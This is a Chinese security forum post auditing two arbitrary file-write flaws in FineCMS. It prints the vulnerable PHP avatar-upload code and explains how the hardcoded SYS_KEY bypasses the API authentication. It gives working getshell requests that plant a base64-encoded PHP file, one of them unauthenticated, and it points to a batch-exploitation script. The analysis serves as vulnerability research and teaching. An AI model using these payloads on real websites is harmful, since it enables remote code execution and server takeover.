用户
搜索
  • TA的每日心情
    奋斗
    昨天 08:39
  • 签到天数: 97 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    i春秋十五军菜鸟团团长

    Rank: 7Rank: 7Rank: 7

    25

    主题

    88

    帖子

    720

    魔法币
    收听
    0
    粉丝
    6
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-1 09:17:17 26081

    前言

    很久没在i春秋发帖了,之前的账号不想用了换了个ID。在文章的末尾我会贴上文章的链接,尊重原作者的版权!

    第一处漏洞分析

    漏洞文件位置和代码

    代码位置:\finecms\dayrui\controllers\Api.php

    核心代码:

    public function data2() {
    
            $data = array();
    
            // 来路认证
            if (defined('SYS_REFERER') && strlen(SYS_REFERER)) {
                $http = $_SERVER['HTTP_REFERER'] ? $_SERVER['HTTP_REFERER'] : $_GET['http_referer'];
                if (empty($http)) {
                    $data = array('msg' => '来路认证失败(NULL)', 'code' => 0);
                } elseif (strpos($http, SYS_REFERER) === FALSE) {
                    $data = array('msg' => '来路认证失败(非法请求)', 'code' => 0);
                }
            }
            //如果data为空就继续
            if (!$data) {
                // 安全码认证
                //从get接收auth的参数
                $auth = $this->input->get('auth');
                //SYS_KEY的值为24b16fede9a67c9251d3e7c7161c83ac,如果auth不等于md5加密后的SYS_KEY就执行
                if ($auth != md5(SYS_KEY)) {
                    // 授权认证码不正确
                    $data = array('msg' => '授权认证码不正确', 'code' => 0);
                } else {
                    // 解析数据
                    $cache = '';
                    //从get里面取param参数的值
                    $param = $this->input->get('param');
                    //判断是否有param['cache']这个参数并且这个参数不能为空
                    if (isset($param['cache']) && $param['cache']) {
                        $cache = md5(dr_array2string($param));
                        $data = $this->get_cache_data($cache);
                    }
                    if (!$data) {
    
                        if ($param == 'login') {
                            // 登录认证
                            $code = $this->member_model->login(
                                $this->input->get('username'),
                                $this->input->get('password'),
                                0, 1);
                            if (is_array($code)) {
                                $data = array(
                                    'msg' => 'ok',
                                    'code' => 1,
                                    'return' => $this->member_model->get_member($code['uid'])
                                );
                            } elseif ($code == -1) {
                                $data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
                            } elseif ($code == -2) {
                                $data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
                            } elseif ($code == -3) {
                                $data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
                            } elseif ($code == -4) {
                                $data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0);
                            }
                        } elseif ($param == 'update_avatar') {
                            // 更新头像
                            $uid = (int)$_REQUEST['uid'];//获取uid,但下面没有检测所以不用加上&uid的值
                            $file = $_REQUEST['file'];//接收文件的参数
                            // 创建图片存储文件夹
                            $dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
                            @dr_dir_delete($dir);//删除目录下的全部文件
                            if (!is_dir($dir)) {//判断是否是目录
                                dr_mkdirs($dir);//新建目录再给权限
                            }
                            //把里面的空格替换成+
                            $file = str_replace(' ', '+', $file);
                            /*)^表示要以下面的表达式开头,*表示匹配前面的子表达式零次或多次,/接着特殊字符
    
                            匹配字样为data:image/后缀;base64,
                            */
                            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                                $new_file = $dir.'0x0.'.$result[2];
                                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                                    $data = array(
                                        'msg' => '目录权限不足或磁盘已满',
                                        'code' => 0
                                    );
                                } else {
                                    $this->load->library('image_lib');
                                    $config['create_thumb'] = TRUE;
                                    $config['thumb_marker'] = '';
                                    $config['maintain_ratio'] = FALSE;
                                    $config['source_image'] = $new_file;
                                    foreach (array(30, 45, 90, 180) as $a) {
                                        $config['width'] = $config['height'] = $a;
                                        $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                                        $this->image_lib->initialize($config);
                                        if (!$this->image_lib->resize()) {
                                            $data = array(
                                                'msg' => $this->image_lib->display_errors(),
                                                'code' => 0
                                            );
                                            break;
                                        }
                                    }
                                    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                                    if (!$type) {
                                        $data = array(
                                            'msg' => '错误的文件格式,请传输图片的字符',
                                            'code' => 0
                                        );
                                    }
                                }
                            } else {
                                $data = array(
                                    'msg' => '图片字符串不规范,请使用base64格式',
                                    'code' => 0
                                );
                            }
    
                            // 更新头像
                            if (!isset($data['code'])){
                                $data = array(
                                    'code' => 1,
                                    'msg' => '更新成功'
                                );
                                $this->db->where('uid', $uid)->update('member', array('avatar' => $uid));
                            }
                        } elseif ($param == 'function') {
                            // 执行函数
                            $name = $this->input->get('name', true);
                            if (function_exists($name)) {
                                $_param = array();
                                $_getall = $this->input->get(null, true);
                                if ($_getall) {
                                    for ($i=1; $i<=10; $i++) {
                                        if (isset($_getall['p'.$i])) {
                                            $_param[] = $_getall['p'.$i];
                                        } else {
                                            break;
                                        }
                                    }
                                }
                                $data = array('msg' => '', 'code' => 1, 'result' => call_user_func_array($name, $_param));
                            } else {
                                $data = array('msg' => '函数 ('.$name.')不存在', 'code' => 0);
                            }
                        } elseif ($param == 'get_file') {
                            // 获取文件地址
                            $info = get_attachment((int)$this->input->get('id'));
                            if (!$info) {
                                $data = array('msg' => fc_lang('附件不存在或者已经被删除'), 'code' => 0, 'url' => '');
                            } else {
                                $data = array('msg' => '', 'code' => 1, 'url' => dr_get_file($info['attachment']));
                            }
                        } else {
                            // list数据查询
                            $data = $this->template->list_tag($param);
                            $data['code'] = $data['error'] ? 0 : 1;
                            unset($data['sql'], $data['pages']);
                        }
    
                        // 缓存数据
                        $cache && $this->set_cache_data($cache, $data, $param['cache']);
                    }
                }
            }
    
            // 接收参数
            $format = $this->input->get('format');
            $function = $this->input->get('function');
            if ($function) {
                if (!function_exists($function)) {
                    $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
                } else {
                    $data = $function($data);
                }
            }
            // 页面输出
            if ($format == 'php') {
                print_r($data);
            } elseif ($format == 'jsonp') {
                // 自定义返回名称
                echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
            } else {
                // 自定义返回名称
                echo $this->callback_json($data);
            }
            exit;
        }

    执行结果

    我分析漏洞,都是看实现的Payload是什么,再从这个Payload再反推过来,思路就很清晰了,要不然慢慢去看代码,有些代码是不必要的,会浪费很多时间。
    结果图:

    漏洞

    执行代码:
    http://127.0.0.1/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

    分析过程

    这一段代码主要是看$data = array();这一句就行了

    $data = array();
    
            // 来路认证
            if (defined('SYS_REFERER') && strlen(SYS_REFERER)) {
                $http = $_SERVER['HTTP_REFERER'] ? $_SERVER['HTTP_REFERER'] : $_GET['http_referer'];
                if (empty($http)) {
                    $data = array('msg' => '来路认证失败(NULL)', 'code' => 0);
                } elseif (strpos($http, SYS_REFERER) === FALSE) {
                    $data = array('msg' => '来路认证失败(非法请求)', 'code' => 0);
                }
            }

    这一段接着上面的如果是空就继续,再下来就是安全码认证了。从get取得auth的内容,然后去判断auth的内容是否正确,我们可以用PHPStorm选中SYS_KEY,按着shift+ctrl+F来查找SYS_KEY的位置,和notepad++的查找代码的差不多。

    可以看到SYS_KEY是一个固定的值:24b16fede9a67c9251d3e7c7161c83ac,按上面的逻辑判断auth如果不等于auth的MD5加密就报错,那我们用MD5加密SYS_KEY就可以了。
    加密后得到
    auth=50ce0d2401ce4802751739552c8e4467

            //如果data为空就继续
            if (!$data) {
                // 安全码认证
                //从get接收auth的参数
                $auth = $this->input->get('auth');
                //SYS_KEY的值为24b16fede9a67c9251d3e7c7161c83ac,如果auth不等于md5加密后的SYS_KEY就执行
                if ($auth != md5(SYS_KEY)) {
                    // 授权认证码不正确
                    $data = array('msg' => '授权认证码不正确', 'code' => 0);
                }

    这段从get里面取param参数的值后进行判断,判断是否有param['cache']这个参数并且这个参数不能为空。下面这两个函数dr_array2stringget_cache_data一个在_\finecms\dayrui\helpers\function_helper.php里、一个在\finecms\dayrui\core\M_Controller.php_里面,一个是用于将数组转换为字符串,一个是用于取缓存数据,这两个函数代码便不需要再去详细分析了,因为和漏洞关系不大。

    else {
                    // 解析数据
                    $cache = '';
                    //从get里面取param参数的值
                    $param = $this->input->get('param');
                    //判断是否有param['cache']这个参数并且这个参数不能为空
                    if (isset($param['cache']) && $param['cache']) {
                        $cache = md5(dr_array2string($param));
                        $data = $this->get_cache_data($cache);
                    }

    漏洞的核心代码就在这一段了,这里还判断一次data是否为空,因为上面已经把缓存写进了data就有数据不为空了。$param="login"这段代码我省略了,因为和漏洞关系不大。当$param == 'update_avatar'为真的时候执行下面内容。

    if (!$data) {
    
                        if ($param == 'login') {
                            // 登录认证
                           //...........代码省略...........
                        } elseif ($param == 'update_avatar') {
                            // 更新头像
    

    获取uid,但下面没有检测所以不用加上&uid的值,默认是0,_member\uid_会员目录下面这个的目录就是uid的保存目录。

    $uid = (int)$_REQUEST['uid'];

    接收文件的参数,这句就是重点。

    $file = $_REQUEST['file'];

    这段代码操作是删除目录$dir下的全部文件 ,再判断是否是目录,然后新建目录再给权限。

    $dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
    @dr_dir_delete($dir);
     if (!is_dir($dir)) {
             dr_mkdirs($dir);

    这里是把file里面的空格替换成+

    $file = str_replace(' ', '+', $file);

    这里用到了正则表达式的知识了,正好前段时间学了Python的正则表达式也复习下

    ^表示要以下面的表达式开头
    *表示匹配前面的子表达式零次或多次
    /接特殊字符
    ()表示一个分组

    preg_match  的用法
    匹配字样为data:image/后缀;base64,
    preg_match把匹配到得的两个分组分给了$result变量中。
    $new_file文件名,等于上面$dir+0x0.+$result[2]
    $dir这个上面分析已经有了就是网站的上传目录,$result[2]表示后缀名,值就是表达式里面的(\w+)分组。
    file_put_contents  的用法大家也再熟悉不过了。
    base64_decode(str_replace($result[1], '', $file)))里面用了两个函数,先用str_replace替换data:image/php;base64,为空,然后用base64_decode解密剩下的字符

     if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            $new_file = $dir.'0x0.'.$result[2];
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file))))

    所以从上面的代码分析出来,我们所需要输入的参数就有authparamfile、而file的内容就是关键,可以看出写入的文件内容和文件名都是可控的,然后这个上传到的目录也很明确。
    构建的代码为PD9waHAgcGhwaW5mbygpOz8+解密为<?php phpinfo();?>

    http://127.0.0.1/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

    第二处漏洞分析

    漏洞代码文件和位置

    代码位置:

    /finecms/dayrui/controllers/member/Account.php

    核心代码:

        public function upload() {
    
        // 创建图片存储文件夹;
        $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);
    
        if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));
                } else {
                    $this->load->library('image_lib');
                    $config['create_thumb'] = TRUE;
                    $config['thumb_marker'] = '';
                    $config['maintain_ratio'] = FALSE;
                    $config['source_image'] = $new_file;
                    foreach (array(30, 45, 90, 180) as $a) {
                        $config['width'] = $config['height'] = $a;
                        $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                        $this->image_lib->initialize($config);
                        if (!$this->image_lib->resize()) {
                            exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                            break;
                        }
                    }
                    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                    !$type && exit(dr_json(0, '图片字符串不规范'));
                }
            } else {
    
                exit(dr_json(0, '图片字符串不规范'));
            }
        } else {
            exit(dr_json(0, '图片不存在'));
        }
    
    // 上传图片到服务器
        if (defined('UCSSO_API')) {
            $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
            !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
        }
    
        exit('1');
    }

    执行结果

    执行代码:

    http://127.0.0.1/index.php?s=member&c=account&m=upload

    POST:tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

    结果图:

    分析过程

    这一段和第一个漏洞差不多,删除会员下的目录再重新创建。

     $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);

    这段检测POST中是否有tx这个参数,然后把当中的空格替换成+

    if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);

    这个和第一个一样,匹配,当中的$result都是可控的,所以直接getshell就行了

    if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));

    但是这个是要登录才能getshell的,为什么上面的Api就不能登录也能使用呢?大家都是继承了M_Controller的父类,我们来看下M_Controller类226行的一段代码,下面判断了数组里面4个值,但是Member这个控制器不在数组里面,所以要验证登录信息。

     if (!defined('DR_UEDITOR')
                    && !defined('DR_PAY_ID')
                    && !defined('DISCUZ_ROOT')
                    && !in_array($this->router->class, array('register', 'login', 'api', 'sns'))) {
                    $url = dr_member_url('login/index', array('backurl' => urlencode(dr_now_url())));
                    // 没有登录时
                    !$this->member && $this->member_msg(fc_lang('会话超时,请重新登录').$this->member_model->logout(), $url);
                }

    构建代码:

    http://127.0.0.1/index.php?s=member&c=account&m=upload

    POST:`tx=data:image/后缀名;base64,要写入文件内容的base64编码

    编写自动化工具

    我参考的那篇文章里面代码,我直接也照着写了一个批量Getshell的脚本,代码可以到我的Github下载

    地址:https://github.com/F0r3at/Python-Tools

    参考

    http://4o4notfound.org/index.php/archives/40/

    http://php.net/docs.php

    源码下载地址:https://pan.lanzou.com/i0gd72d

    本帖被以下淘专辑推荐:

    getpass.cn
    发表于 2018-3-1 10:33:06
    审计牛~~厉害厉害
    小白~~~
    使用道具 举报 回复
    66666666666666666666
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册